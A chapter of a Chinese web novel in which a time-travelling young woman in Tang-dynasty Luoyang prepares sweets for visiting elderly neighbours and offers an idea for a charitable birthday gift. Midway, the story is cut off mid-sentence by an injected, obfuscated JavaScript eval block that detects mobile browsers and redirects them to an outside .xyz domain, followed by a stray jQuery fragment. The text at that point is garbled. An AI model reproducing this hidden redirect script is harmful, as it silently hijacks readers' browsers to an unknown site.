费三娘面对她的震惊,只幽幽道:“我家那个短命鬼,我才嫁进去没半年就一命呜呼了!这都三年过去了,孝期也马上结束了,我不得给自己寻个出路吗?”
尹遥被这神来之笔给镇住了,一时不知该作何回应,半晌才眨了眨眼,点头应道:“啊……这……这倒也是……”
瞧着远远跑过来的许二郎,费三娘小声道:“所以啊,你有空多想想,听到了没?”
尹遥默默扶额:“好,好,我晓得了……我多想想……”
都说唐朝女子婚嫁自由,她这会儿才真正见识了,虽说还没像现代一般嫁娶随意吧,但这主动出击的姿态,也是给了尹遥亿点点震撼。
收拾好摊子,许二郎接过了推车,三人一同往家中走去。刚进院子,就听到屋里传来好几个女子的聊天声,听起来热闹得很。
几人忙进去打招呼,只见屋里除了沈老太太和坊正家的许婆婆外,还围坐着四五个老太太,见几人进屋,都笑眯眯瞅了过来。
“三娘,七娘,快来见过你陈婆婆、郑婆婆、宋婆婆、颜婆婆,他们家也是住在坊中的,都是阿婆的老姐妹了。”沈老太太朝着姐妹俩招手,又自豪地笑道,“你们不是都吵着要见我孙女儿嘛,这就是了。怎么样,标致吧?”
两人忙施了礼,尹七娘照例扑到了阿婆怀中,用头蹭着她撒娇。几个婆婆都纷纷笑道:“这大的俏生生的,小的也是水灵灵,一走出去,谁不说你沈老太太有福气!”
众人夸赞了几句,又瞧见许二郎跟在后面,又笑道:“哎呀,这不是许家的二郎吗,你怎么在这儿?来找你阿婆?”
许婆婆笑着瞪了自家孙儿一眼,嗔道:“他啊,哪是来找我。”
几个婆婆相互对视了一下,都露出了心照不宣的笑容,许二郎被调侃得脸都红了。
尹遥不想接这个话题,见陆娘子不在屋内,估摸着她在厨房,便笑道:“各位婆婆先聊着,孙女儿去给您们弄点儿饮子喝。”
她转身从主屋出来进了厨房,陆娘子这会儿果然在,正拿着个甜瓜要切,又左比划右比划的,一时有点儿不知从哪下手。
尹遥方才从院中拿了根山药,洗净随手掰成小段儿,放到锅里蒸上,又从柜子里取出了一小袋胡桃,递给了陆娘子,笑道:“舅母先帮我把胡桃仁儿磨碎,等下做点儿胡桃露喝,甜瓜我来弄吧。”
“这甜瓜还挺新鲜的,舅母刚买的吗?”接过甜瓜瞧了瞧,这瓜有两个拳头大,瓜蒂翠绿,看着像这一两日新摘的,她先放到一旁,随口问道。
陆娘子摇了摇头:“这甜瓜是宋婆婆带来的,她还带了许多其他应季水果,甚至还有两颗大石榴,可都是难得的好物,我都放到菜窖里了。”
说起来菜窖,陆娘子还挺新奇的,她娘家本在巴蜀,冬日里很少会结冰,嫁到洛阳后,沈府中又有仆从每日去南市采买,倒还从未见过这种储存方式。她边卖力捣着胡桃边道:“话说三娘,这菜窖真有用吗?”
“自然,果蔬放在地窖中,能一直到明年开春都不坏呢!”尹遥前世童年时,曾随母亲生活在乡下一段时间,那时还没普及温室大棚种植,冬季蔬菜的品种很少,因此家家户户院中都挖了菜窖,秋季时便会采购许多易于储存的蔬菜,堆满在菜窖内。
若是储存得当,这些蔬菜完全可以不冻不腐,能供全家人吃上整个冬天呢!
而且这菜窖不仅冬暖,夏季也十分凉爽,若是挖得足够深,更是可以将冬日里储存的冰块,一直保存到炎炎夏日也不会化。不过沈家这菜窖,也就一人多深,储冰是不能了,夏日里放放瓜果蔬菜还是不错的。
昨儿包包子时,还余了些发好的面,此刻仍扣在盆子下。两人说着话,尹遥将面团取了出来,这会儿发得比昨晚还要大一些,她准备拿来做点儿醪糟小馒头。
她前些日子买了一点儿酒曲,拌入到浸泡蒸好的糯米中,如今两日过去,打开密封的酒坛,已能闻到清甜的酒香,说明这醪糟已酿好了。
拿起一把干净的勺子,将酒坛里浸泡着汁水的糯米捞出来,这发酵好的糯米也叫做甜醪糟或者甜酒酿。尹遥捏起一颗尝了尝,糯米香里又混合了甜味儿和些许酒味儿,用来做甜品再合适不过了。
将甜醪糟倒进面团中,再撒入一把糖渍桂花,轻轻揉匀后,用擀面杖擀成一大张薄饼,叠成三折再擀薄,如此反复几次,最后将面饼卷成长条,用刀切成小块,搓成一个个胡桃般大小的馒头。
尹遥掀开锅盖,将刚蒸好的山药夹出,再把圆球型的小馒头仔细地摆在蒸笼上,在表面撒上一层干桂花,盖上锅盖大火蒸制。
“三娘,我胡桃研磨好了,接下来做什么?”陆娘子擦了把汗,又按照尹遥所说,将胡桃倒入小陶瓮中,加入水、饴糖和牛乳,边加热边搅拌,随着液体的沸腾,一阵阵香甜的气味儿也飘散了出来。
尹遥将山药去皮后捣成泥,又抓了把红枣,洗净后用剪刀绕着果核将果肉剪下来,切成一颗一颗的碎粒,也拌入山药泥中,用模具整形,盛到小碟子中。
再将甜瓜洗净,麻利地将头尾削去,放在案板上转着圈儿一片一片往下削皮,再将瓜瓤一切为二,只听咔嚓的一声脆响,想必是熟透了。尹遥拿勺子挖掉中间的籽儿,将果肉切成厚度均匀的薄片摆入另一个小碟子。
左瞧瞧右瞧瞧有些不满意,她想了想,又用瓜皮迅速地雕了个小花,立在碟子中间,一碟普通的甜瓜便成了精致的小果盘。
夹出金桂醪糟小馒头,又洗了几个金桔和龙眼,也都分别装在碟子里,端进了主屋。
这会儿许二郎已自回家去,房中几个老
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15553208|168926||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
太太还在笑呵呵闲聊,尹遥进来,将各色水果点心摆好,又搬了个小胡凳,坐在沈老太太身旁。
“哟,三娘这么会儿工夫就准备了这么多?你这手脚也太麻利了吧!”见尹遥出去不过两刻钟,竟就端了四个小碟子回来,几个婆婆都十分惊讶。
尹遥谦虚道:“婆婆们过奖了,不过是两鲜果并两甜品,并不是什么金贵东西,给婆婆们聊天时胡乱凑趣儿罢了。”
许婆婆当先夹了块红枣山药糕尝了一口,点头笑道:“前几日我吃了你做的赤豆薯蓣糕,这几日心里还一直惦记着。今儿这糕也是薯蓣做的吧?仿佛跟那天的味儿又不大一样,更甜一些,但也同样软糯可口。”
郑婆婆则是夹了个小馒头放入口中,那馒头只有胡桃大小,一口便能吃进去,她眼睛一亮,道:“这蒸饼倒是有趣儿,又香又软不说,除了桂花香还有隐隐的酒香,三娘莫不是在里面放了酒?”
尹遥笑着给几人介绍:“这道是红枣薯蓣糕,其中薯蓣益肾健脾,红枣补脾和胃,都是再好不过的温补食材。这道则是金桂醪糟小馒头,孙女儿在里面放的倒不是酒,而是糯米酿成的甜醪糟。它不会像酒一般容易醉人,却有补血养颜、舒筋活血的效果,是不错的滋补佳品呢!”
这会儿陆娘子也盛好了牛乳胡桃露,端进来在每人面前摆了一盏,尹遥又道:“胡桃也被称为长寿果,有健脾安神的功效,婆婆们也快尝尝。”
众人纷纷笑说有心了,又夸赞沈老太太好福气。沈老太太听了这话一脸自豪,抚掌笑道:“这倒是实话,我这孙女儿和儿媳,都是再能干又孝顺不过的,你们可千万不要嫉妒,嫉妒也不给你们!”
众人哄笑,又调侃了一番沈老太太才作罢。宋婆婆夹了个馒头,边吃边开了口:“说起来,咱们坊中不是搬进来一户做官儿的吗?他家的管家婆子前阵子病倒了,便聘了我去暂代管事。”
说起来这新主家,宋婆婆倒是满意得很,张家乃南阳望族,女主人也是个和善的,不但酬劳不菲,时不时还会拿些应季果品和衣物之类的,赏赐给家中仆从,不仅可以自家吃用,便是拿出去借花献佛送给亲友,也是极体面的。
宋婆婆又道:“他们家老郎君快到八十寿辰了,除了家中的寿宴外,夫人还安排我想想法子,在街坊邻居间做些善举,博个好名声。”
说到这儿,她面露烦恼之色:“我以前也在大户人家做过管事,若说善举,通常就是在街口布个粥棚之类,但主家嫌此举不够应景儿。今儿恰好休憩,便想着来向老姐妹们讨个主意,看看有没有什么其他特别点儿的办法?”
见大家伙儿都七嘴八舌地讨论了起来,尹遥想了想也开口笑道:“婆婆们容孙女儿插个嘴,若张家觉得施粥不够应景儿、也不够特别,那若是改成施寿桃儿,您觉得如何?